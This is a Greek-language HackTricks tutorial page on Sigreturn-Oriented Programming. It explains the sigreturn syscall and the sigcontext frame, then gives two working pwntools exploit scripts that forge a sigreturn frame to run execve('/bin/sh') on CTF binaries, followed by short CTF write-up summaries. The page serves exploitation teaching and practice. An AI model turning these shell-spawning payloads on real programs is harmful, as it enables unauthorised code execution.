SROP - Sigreturn-Oriented Programming

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Βασικές Πληροφορίες

Το Sigreturn είναι ένα ειδικό syscall που χρησιμοποιείται κυρίως για τον καθαρισμό μετά την ολοκλήρωση ενός χειριστή σήματος. Τα σήματα είναι διακοπές που στέλνονται σε ένα πρόγραμμα από το λειτουργικό σύστημα, συχνά για να υποδείξουν ότι έχει συμβεί κάποια εξαιρετική κατάσταση. Όταν ένα πρόγραμμα λαμβάνει ένα σήμα, παύει προσωρινά την τρέχουσα εργασία του για να χειριστεί το σήμα με έναν χειριστή σήματος, μια ειδική συνάρτηση σχεδιασμένη για να αντιμετωπίζει τα σήματα.

Μετά την ολοκλήρωση του χειριστή σήματος, το πρόγραμμα πρέπει να επαναφέρει την προηγούμενη κατάστασή του ως να μην συνέβη τίποτα. Εδώ είναι που εμφανίζεται το sigreturn. Βοηθά το πρόγραμμα να επιστρέψει από τον χειριστή σήματος και επαναφέρει την κατάσταση του προγράμματος καθαρίζοντας το πλαίσιο στοίβας (η ενότητα μνήμης που αποθηκεύει κλήσεις συναρτήσεων και τοπικές μεταβλητές) που χρησιμοποιήθηκε από τον χειριστή σήματος.

Το ενδιαφέρον μέρος είναι πώς το sigreturn επαναφέρει την κατάσταση του προγράμματος: το κάνει αυτό αποθηκεύοντας όλες τις τιμές των καταχωρητών της CPU στη στοίβα. Όταν το σήμα δεν είναι πλέον μπλοκαρισμένο, το sigreturn απομακρύνει αυτές τις τιμές από τη στοίβα, επαναφέροντας αποτελεσματικά τους καταχωρητές της CPU στην κατάστασή τους πριν το χειρισμό του σήματος. Αυτό περιλαμβάνει τον καταχωρητή δείκτη στοίβας (RSP), που δείχνει στην τρέχουσα κορυφή της στοίβας.

Καλώντας το syscall sigreturn από μια ROP αλυσίδα και προσθέτοντας τις τιμές των καταχωρητών που θα θέλαμε να φορτώσει στη στοίβα είναι δυνατό να ελέγξουμε όλες τις τιμές των καταχωρητών και συνεπώς να καλέσουμε για παράδειγμα το syscall execve με /bin/sh.

Σημειώστε πώς αυτό θα ήταν ένας τύπος Ret2syscall που καθιστά πολύ πιο εύκολο τον έλεγχο των παραμέτρων για να καλέσει άλλους Ret2syscalls:

pageRet2syscall

Αν είστε περίεργοι, αυτή είναι η δομή sigcontext που αποθηκεύεται στη στοίβα για να ανακτήσει αργότερα τις τιμές (διάγραμμα από εδώ):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

Για μια καλύτερη εξήγηση, ελέγξτε επίσης:

Παράδειγμα

Μπορείτε να βρείτε ένα παράδειγμα εδώ όπου η κλήση στο signeturn κατασκευάζεται μέσω ROP (βάζοντας στο rxa την τιμή 0xf), αν και αυτό είναι το τελικό exploit από εκεί:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Ελέγξτε επίσης το exploit από εδώ όπου το δυαδικό αρχείο καλούσε ήδη το sigreturn και επομένως δεν είναι απαραίτητο να το χτίσετε με ένα ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

Άλλα Παραδείγματα & Αναφορές

  • Αρχείο συναρμολόγησης που επιτρέπει την εγγραφή στη στοίβα και στη συνέχεια καλεί την κλήση συστήματος sigreturn. Είναι δυνατόν να γραφτεί στη στοίβα ένα ret2syscall μέσω μιας δομής sigreturn και να διαβαστεί η σημαία που βρίσκεται μέσα στη μνήμη του αρχείου εκτέλεσης.

  • Αρχείο συναρμολόγησης που επιτρέπει την εγγραφή στη στοίβα και στη συνέχεια καλεί την κλήση συστήματος sigreturn. Είναι δυνατόν να γραφτεί στη στοίβα ένα ret2syscall μέσω μιας δομής sigreturn (το αρχείο εκτέλεσης περιέχει τη συμβολοσειρά /bin/sh).

  • 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Απλή υπερχείλιση buffer καταχρώμενη τη λειτουργία gets με έλλειψη gadgets που εκτελούν ένα ret2syscall. Η ROP αλυσίδα γράφει το /bin/sh στην .bss καλώντας ξανά τη gets, καταχρώμενη τη λειτουργία alarm για να ορίσει τον eax σε 0xf για να καλέσει ένα SROP και να εκτελέσει ένα κέλυφος.

  • Πρόγραμμα συναρμολόγησης 64 bits, χωρίς relro, χωρίς canary, nx, χωρίς pie. Η ροή επιτρέπει την εγγραφή στη στοίβα, τον έλεγχο πολλών καταχωρητών και την κλήση ενός συστήματος και στη συνέχεια καλεί την exit. Η επιλεγμένη κλήση συστήματος είναι μια sigreturn που θα ορίσει καταχωρητές και θα μετακινήσει το eip για να καλέσει μια προηγούμενη εντολή συστήματος και να εκτελέσει το memprotect για να ορίσει το χώρο του αρχείου εκτέλεσης σε rwx και να ορίσει το ESP στον χώρο του αρχείου εκτέλεσης. Ακολουθώντας τη ροή, το πρόγραμμα θα καλέσει ξανά την read στο ESP, αλλά σε αυτήν την περίπτωση το ESP θα δείχνει στην επόμενη εντολή, οπότε περνώντας ένα shellcode θα το γράψει ως την επόμενη εντολή και θα το εκτελέσει.

  • Το SROP χρησιμοποιείται για να δώσει δικαιώματα εκτέλεσης (memprotect) στο σημείο όπου το shellcode τοποθετήθηκε.

Last updated